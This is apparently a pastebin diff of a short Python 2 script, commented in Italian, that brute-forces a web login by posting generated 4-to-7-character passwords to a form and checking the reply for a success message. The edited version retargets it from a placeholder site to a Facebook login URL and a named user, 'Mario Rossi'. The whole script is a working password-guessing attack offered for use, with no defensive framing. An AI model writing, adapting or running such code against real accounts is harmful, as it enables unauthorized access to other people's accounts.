SHOW:
|
|
- or go back to the newest paste.
1 | # Importo la libreria che ci serve per la connessione http | |
2 | import urllib | |
3 | ||
4 | # Username di cui si vuole scoprire la password | |
5 | - | username = "admin" |
5 | + | username = "Mario Rossi" |
6 | ||
7 | # Pagina di action a cui rimanda il form di login | |
8 | - | paginaLogin = "http://www.miosito.it/login.php" |
8 | + | paginaLogin = "http://www.facebook.it/login.php" |
9 | ||
10 | # Messaggio di avvenuto login | |
11 | messaggioDiAvvenutoLogin = "Login effettuato!" | |
12 | ||
13 | # Lista dei caratteri possibili in una password. | |
14 | - | listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"] |
14 | + | listaCaratteri = ["C","A","S","A","1","2","3"] |
15 | ||
16 | # Funzione che verifica se la password passata come parametro | |
17 | # e' quella corretta e di conseguenza e' stata indovinata. | |
18 | def testaPassword(password): | |
19 | print "Testando la password:", password | |
20 | ||
21 | # Invio i parametri da testare alla pagina di action (paginaLogin) | |
22 | parametriDaTestare = { "username" : username, "password" : password, "submit" : "1" } | |
23 | p= urllib.urlencode(parametriDaTestare) | |
24 | paginaDiAction = urllib.urlopen(paginaLogin, p) | |
25 | ||
26 | # Memorizzo la risposta della pagina di action nella variabile risultato | |
27 | risultato = paginaDiAction.read() | |
28 | ||
29 | # Controllo se la password e' corretta | |
30 | if messaggioDiAvvenutoLogin in risultato: | |
31 | print "Password trovata: ", password | |
32 | exit() | |
33 | else: | |
34 | return | |
35 | ||
36 | # Qui bisogna supporre una lunghezza massima della password, | |
37 | # ipotizziamo 12 caratteri. | |
38 | # Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza | |
39 | # da 4 caratteri in poi verra' testata la password (attraverso | |
40 | # la funzione testaPassword). | |
41 | for c1 in listaCaratteri: | |
42 | for c2 in listaCaratteri: | |
43 | for c3 in listaCaratteri: | |
44 | for c4 in listaCaratteri: | |
45 | psw = c1+c2+c3+c4 # La password da testare sara' composta dai caratteri | |
46 | # correnti ovvero c1, c2, c3, c4 | |
47 | testaPassword(psw) | |
48 | for c5 in listaCaratteri: | |
49 | psw = c1+c2+c3+c4+c5 # La password da testare sara' composta dai | |
50 | # caratteri correntiovvero c1, c2, c3, c4 | |
51 | testaPassword(psw) | |
52 | for c6 in listaCaratteri: | |
53 | psw = c1+c2+c3+c4+c5+c6 | |
54 | testaPassword(psw) | |
55 | for c7 in listaCaratteri: | |
56 | psw = c1+c2+c3+c4+c5+c6+c7 | |
57 | - | testaPassword(psw) |
57 | + | testaPassword(psw) |